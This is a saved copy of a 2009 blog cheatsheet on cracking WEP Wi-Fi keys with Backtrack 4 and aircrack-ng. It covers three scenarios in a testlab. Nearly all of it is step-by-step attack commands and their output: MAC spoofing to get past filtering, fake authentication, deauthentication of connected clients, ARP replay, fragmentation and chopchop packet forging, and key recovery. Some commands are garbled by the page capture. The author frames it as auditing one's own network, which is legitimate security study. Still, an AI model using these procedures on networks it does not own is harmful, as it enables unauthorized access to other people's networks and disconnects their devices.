15/05/2011 Cheatsheet : Cracking WEP with Backtr…

Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng

Published February 20, 2009 | By Corelan Team (corelanc0d3r)

I know, there a probably already a zillion number of websites that show how to crack WEP.

So I guess this will be website zillion+1 learning how to audit your own WEP security. To be honest, the main reason I’m putting this info on this blog because I just wanted it as a
quick reference- or cheatsheet, in case I forget some about particular commands/parameters again :-) And why rely on other websites that may or may not be reachable when you
need them :-)

Scenario 1 : WEP encryption, OPEN Authentication, MAC filtering enabled, active client on network

The AP in my testlab uses MAC filtering and is configured to use WEP, using OPEN Authentication Method.

In this scenario, I have 2 clients that are currently connected to the wireless network.

My auditor laptop (and old IBM T22) runs backtrack beta 4, and has a PCMCIA network card (Proxim, Atheros chipset) and a Dlink USB Wireless Adapter (DWL-G122). Both adapters
will work just fine, however I get better results with the proxim PCMCIA card because it has a range extender.

The process of cracking the wep key for this scenario is

Put wireless interface in monitor mode (airmon-ng start wireless_interface)

Find wireless network (channel, BSSID and ESSID) (airodump-ng wireless_interface_in_monitor_mode)
Find a valid / connected client (MAC Address)
Wait until client is gone and change mac address to valid client MAC (airmon-ng stop wireless_int, ifconfig wireless_int down, macchanger –m XX:XX:XX:XX:XX:XX
wireless_int, ifconfig wireless_int up, airmon-ng start wireless_int)
Associate with AP and inject ARP packets (airodump-ng –c <channel> –-ivs –w /tmp/filename wireless_int_in_monitormode, aireplay-ng –fak eauth 0 –a <BSSID> –h <local
MAC> –e ESSID wireless_int_in_monitormode>, aireplay-ng -3 -b <BSSID> wireless_int_in_monitor_mode)
If no ARP is found (and injected) in a reasonable amount of time, try to deauthenticate an existing client (aireplay-ng –deauth 0 -a BSSID –c CLientMAC
wireless_int_in_monitor_mode)
Save IV’s to file and crack the key (airocrack -ng –0 –b BSSID /tmp/filename.ivs)

In all cases, in all scenario’s, the most important component is verifying that you can associate with an AP. You’ll learn some techniques on how to do this in this blog. But let’s not
jump ahead.

First, list the adapters :

root@bt:~# airmon-ngInterface Chipset Driverwifi0 Atheros madwifi-ngwlan0 Ralink 2573 USB rt73usb - [phy0]ath0 Atheros madwifi-

The wifi0 adapter is the proxim pcmcia card. wlan0 is the Dlink USB adapter. For this test, we’ll use the proxim card (wifi0). The mac address of this card is 00:20:A6:4F:A9:41 (you
can get the mac address by running ‘ifconfig wifi0’)

First, put the card in monitor mode :

root@bt:~# airmon-ng start wifi0Interface Chipset Driverwifi0 Atheros madwifi-ngwlan0 Ralink 2573 USB rt73usb - [phy0]ath0 Atheros

A new interface called “ath1” has been created. This interface is the one we are going to use in order to find the wireless networks. Launch “airodump-ng ath1” to hop all channels and
show the wireless networks that can be found, and the clients (if any) that are currently associated with an Access Point :

root@bt:~# airodump-ng ath1CH 1 ][ Elapsed: 1 min ][ 2009-02-19 14:05 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESS

Ok, so we have found a network with ESSID “TestNet”, operating at channel 11. Apparently there are 2 clients connected to this AP.

Let’s see if we can associate with Access Point with MAC (BSSID) 00:14:BF:89:9C:D3

First, run airodump-ng again, but set it to look at channel 11. This is required for the AP association/authentication (via aireplay-ng) to operate at channel 11 as well (because you
cannot specify the channel to use when running aireplay-ng) :

root@bt:/# airodump-ng --channel 11 ath1

Leave the airodump-ng running for now and run the following aireplay-ng command to perform a ‘fake authentication’ attempt :

root@bt:~# aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1No source MAC (-h) specified. Using the device MAC (00:20:A6:4F:A9:41)14:14:50 Waiting for beacon frame (BSSID: 00:

Ok – Authentication failed, so the AP does MAC filtering. We could try to use the MAC address of one of the clients that are already connected (by specifying its MAC address using
the –h parameter), but we’ll change the MAC address on our interface (which will make all future commands shorter)

First, kill the airodump-ng process. Take wifi0 (ath1) out of monitoring mode :

root@bt:~# airmon-ng stop ath1Interface Chipset Driverwifi0 Atheros madwifi-ngwlan0 Ralink 2573 USB rt73usb - [phy0]ath0 Atheros

Bring wifi0 down, change the mac address of wifi0, bring wifi0 up again and then put the interface back in monitor mode :

root@bt:~# ifconfig wifi0 downroot@bt:~# macchanger -m 00:1C:BF:90:5B:A3 wifi0Current MAC: 00:20:a6:4f:a9:44 (Proxim, Inc.)Faked MAC: 00:1c:bf:90:5b:a3 (unknown)root@bt:~# ifconfig wifi0

Ok, looks good

Let’s see if it makes a difference. Run airodump-ng again (airodump-ng –c 11 ath1) and then try to perform the fake authentication again

root@bt:/# aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)14:20:19 Waiting for beacon frame (BSSID: 00:

If you are connecting to an AP that is a bit picky, then you have some options to tweak the aireplay-ng behaviour :

aireplay-ng -1 6000 -o 1 -q 12 -e TestNet -a 00:14:BF:89:9C:D3 ath1

–1 6000 = reauthenticate every 6000 seconds

-o 1 = only send one set of packets at a time

-q 12= send keepalive packets every 12 seconds (sometimes, it works better without this last parameter)

From this point forward, you should be able to associate with the AP. If not, there’s no use in continuing with the process.

Ok, now let’s try to crack the key. First, stop the existing airodump process and run airodump-ng with the option to save the iv’s to a file (parameter –i or –ivs):

root@bt:~# airodump-ng -c 11 -w /tmp/TestNetAudit1 -i ath1CH 11 ][ Elapsed: 12 s ][ 2009-02-19 14:24 BSSID PWR RXQ Beacons #Data, #

The number of #Data packets is most likely still very low and does not go up as fast as we want it to. So we need to grab an ARP packet and inject it.

First, launch aireplay-ng in injection mode :

root@bt:~# aireplay-ng -3 -b 00:14:BF:89:9C:D3 ath1For information, no action required: Using gettimeofday() instead of /dev/rtcNo source MAC (-h) specified. Using the device MAC (00:1C:BF

(leave this running – wait until an ARP request is seen. The tool will then automatically attempt to inject the ARP packets, thus increasing the number of data packets (and iv’s) on the

corelan.be/…/cheatsheet-cracking-wep… 1/3
15/05/2011 Cheatsheet : Cracking WEP with Backtr…
network). Some AP’s require you to be associated (or will perform disassociate after a while). It might take a couple of minutes before an ARP is seen. If you don’t have a lot of time, it
might help trying to associate yourself again :

aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1

If that does not generate the required ARP packet(s), which should set off the ARP injection, then try to deauthenticate the existing clients. (which may not work very well if the AP has
MAC filtering enabled. If you have a second client MAC address, you can set your own MAC address to one of the clients and try to deauth the other clientH)

Keep the aireplay-ng and airodump-ng running and run the deauth attack.

root@bt:/# aireplay-ng --deauth 0 -a 00:14:BF:89:9C:D3 ath114:38:15 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11NB: this attack is more effective when targetinga conn

If this works, the valid client will be disconnected. When the client connects again (in most cases, this happens automatically), and after max. a couple of minutes, you should see that
the ARP injection process starts to work :

root@bt:~# aireplay-ng -3 -b 00:14:BF:89:9C:D3 ath1For information, no action required: Using gettimeofday() instead of /dev/rtcNo source MAC (-h) specified. Using the device MAC (00:1C:BF

At the same time, you should start to see the number of data packets increasing rapidly :

CH 11 ][ Elapsed: 7 mins ][ 2009-02-19 14:32 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

For a 128bit WEP key, you’ll probably need between 80000 and 250000 data packets. However you don’t need to wait until you’ve gathered all those packets. You can already try to
break the key using the ivs file that is being generated. As long as the key is not found, and the number of packets keeps growing, the crack process will automatically reread the file
and attempt to crack the key.

By the time I wrote the last 2 lines of text, I had already captured 140000 IVs, which appears to be sufficient to crack the key in one shot. So if your coverage is good, signal is strong,
and the injection works well, it may go very fast.

root@bt:/# aircrack-ng –0 -b 00:14:BF:89:9C:D3 /tmp/TestNetAudit1-01.ivsOpening /tmp/TestNetAudit1-01.ivsReading packets, please wait...Aircrack-ng 1.0 rc2 r1415[00:00:01] Tested 865 keys

If you would not have had enough IVs, the aircrack-ng process would just sit and wait until the file has grown bigger and would then attempt to crack the key again.

If the packets all of a sudden stop increasing, then stop the injection process, start it again, re-associate, perhaps deauthenticate an existing client and it should continue to grow.

In my case, the key was cracked in 1 second. The total process took about 10 minutes.

The key is 26 characters, so if we assume that the key is in hex, we are dealing with 128bit WEP. This mode is also called WEP104

(In case you forgot : WEP40 = 64bit, WEP104 = 128bit, WEP1xx = 256bit)

Scenario 2 : WEP encryption, OPEN Authentication, MAC filtering enabled (?), no active clients

Ok, first of all, if MAC filtering is enabled and there are no active clients, it’s going to be difficult to get a valid MAC address that is allowed to associate with the AP. I guess it makes
the wireless network a bit safer, but a whole lot more useless as well. :-)

So assuming that there is no MAC filtering, or you have managed to get a valid MAC address of a client (earlier, or by bruteforcing mac addresses :) ), then this is what you can do if
there are no active clients connected to the network at the time of the audit :

Put wireless interface in monitor mode (airmon-ng start wireless_interface)

Find wireless network (BSSID and ESSID) (airodump-ng wireless_interface_in_monitor_mode)
Associate with AP (airodump-ng –c <channel> –-ivs –w /tmp/filename wireless_int_in_monitormode, aireplay-ng –fak eauth 0 –a <BSSID> –h <local MAC> –e ESSID
wireless_int_in_monitormode>)
Use fragmentation or chopchop attack and generate a valid custom arp packet (aireplay-ng –5 –b <BSSID> wireless_int_in_monitormode,aireplay-ng –4 –b <BSSID> –h <Local
MAC> wireless_int_in_monitor_mode, pack etforge-ng0)
Inject custom ARP packet (aireplay-ng –2 –r custom_arp_pack et.file wireless_int_in_monitor_mode)
Save IVs to file, crack the key, throw a party

The first 3 steps are similar to scenario 1. I’ll assume that you are able to associate yourself with the AP (either using any MAC or using a valid MAC from the MAC filter list) and that
you have your airodump-ng running, capturing ivs to a file.

Let’s try the fragmentation attack first (option –5)

root@bt:~# aireplay-ng -5 -b 00:14:BF:89:9C:D3 ath1For information, no action required: Using gettimeofday() instead of /dev/rtcNo source MAC (-h) specified. Using the device MAC (00:1C:BF

Wait until you are asked whether you want to use a packet that was captured. Review the packet (BSSID, dest mac, source mac) and make sure the packet comes from the Access
Point.

Sometimes you will need to try a couple of times before the system will respond correctly

root@bt:~# aireplay-ng -5 -b 00:14:BF:89:9C:D3 ath1For information, no action required: Using gettimeofday() instead of /dev/rtcNo source MAC (-h) specified. Using the device MAC (00:1C:BF

You should get “Got RELAYED packet!!” in order to be successfull.

Ok, now you can use the .xor file to generate and ARP packet that can be injected and will help to get IVs. In this command, you will have to specify the local MAC address (so make
sure to use the correct MAC address. If you are using a fake MAC, then use this fake mac in the commandk)

root@bt:~# packetforge-ng -0 -a 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3 -k 255.255.255.255 -l 255.255.255.255 -y fragment-0219-185011.xor -w /tmp/my-arp-requestWrote packet to: /tmp/my-ar

(I’ve put the command on 3 lines to improve readability – just make sure to put everything in one line)

Ok, now the arp packet is ready. Let’s inject it into the network

root@bt:~# aireplay-ng -2 -r /tmp/my-arp-request ath1For information, no action required: Using gettimeofday() instead of /dev/rtcNo source MAC (-h) specified. Using the device MAC (00:1C:

Enter “y” and see if the data packets are now increasing. (switch to the airodump-ng output)

In most cases, this attack works well. However, if you have not been able to successfully get a .xor file using this procedure, you can use the chopchop attack as well :

root@bt:~# aireplay-ng -4 -b 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3 ath1For information, no action required: Using gettimeofday() instead of /dev/rtc19:04:26 Waiting for beacon frame (BSS

if you get this message, try running a aireplay-ng –fakeauth while running the chopchop attack.

session 1 : start the fakeauth

root@bt:~# aireplay-ng --fakeauth 6000 -o 1 -a 00:14:BF:89:9C:D3 -e TestNet ath1No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)19:08:49 Waiting for beacon frame (BS

session 2 : run chopchop while fakeauth is running

Enter “y” to select a packet. Wait until the process has reached 100% and you should have your .xor file. This process can take multiple minutes. Don’t worry, as long as it keeps
running, you’re fine.

corelan.be/…/cheatsheet-cracking-wep… 2/3
15/05/2011 Cheatsheet : Cracking WEP with Backtr…
root@bt:~# aireplay-ng -4 -b 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3 ath1For information, no action required: Using gettimeofday() instead of /dev/rtc19:08:55 Waiting for beacon frame (BSS

Follow the same steps that were used when we created a .xor file using the fragmentation attack : create an arp packet (packetforge-ng), inject the packet (aireplay-ng), capture the
IVs and crack the key.

root@bt:~# packetforge-ng -0 -a 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3 -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-0219-192452.xor -w /tmp/my-2nd-arp-requestWrote packet to: /t

Inject :

root@bt:~# aireplay-ng -2 -r /tmp/my-2nd-arp-request ath1For information, no action required: Using gettimeofday() instead of /dev/rtcNo source MAC (-h) specified. Using the device MAC (00

Verify that the number of #Data packets increases fast, wait a couple of minutes and start cracking

Scenario 3 : WEP encryption, Shared Key Authentication instead of OPEN

What if the AP does not use OPEN authentication, but uses Shared Key Authentication ?

Well, aireplay-ng --fakeauth will not just workH It will detect that Open System is cannot be used, and will then attempt to get the shared key. In fact, it needs to see a client
successfully authenticate to the AP before it will be able to grab the SKA and use it.

20:15:01 Sending Authentication Request (Open System) [ACK]20:15:01 Switching to shared key authentication

As long as a client has not associated, the AUTH column in airodump-ng will stay empty. When Shared Key is used, and after a client has connected, the column will state SKA.
From that point forward, you can use the Shared Key to do fake auth.

First, launch airodump-ng and write all data to disk (airodump-ng –w /tmp/filesout ath1)

When a client authenticates, airodump-ng will write a .xor file to disk, containing the PRGA xor bits. Of course, if it takes too long before a client authenticates, you can try to
deauthenticate an existing client (if any)

If the .xor file is saved on disk, you can attempt to do the fake auth by providing the .xor file :

root@bt:/tmp# aireplay-ng -1 0 -e TestNet -y /tmp/filesout.xor -a 00:19:5B:52:AD:F7 ath1No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)20:23:58 Waiting for

Hooray – from this point forward, you can use the same techniques as explained in the first 2 scenario’s

Note : if the number of Packets stops increasing, just stop sending packets, do a re-associate (fake auth) and start sending packets again. In most cases, this will kick off the data
packet increase again.

corelan.be/…/cheatsheet-cracking-wep… 3/3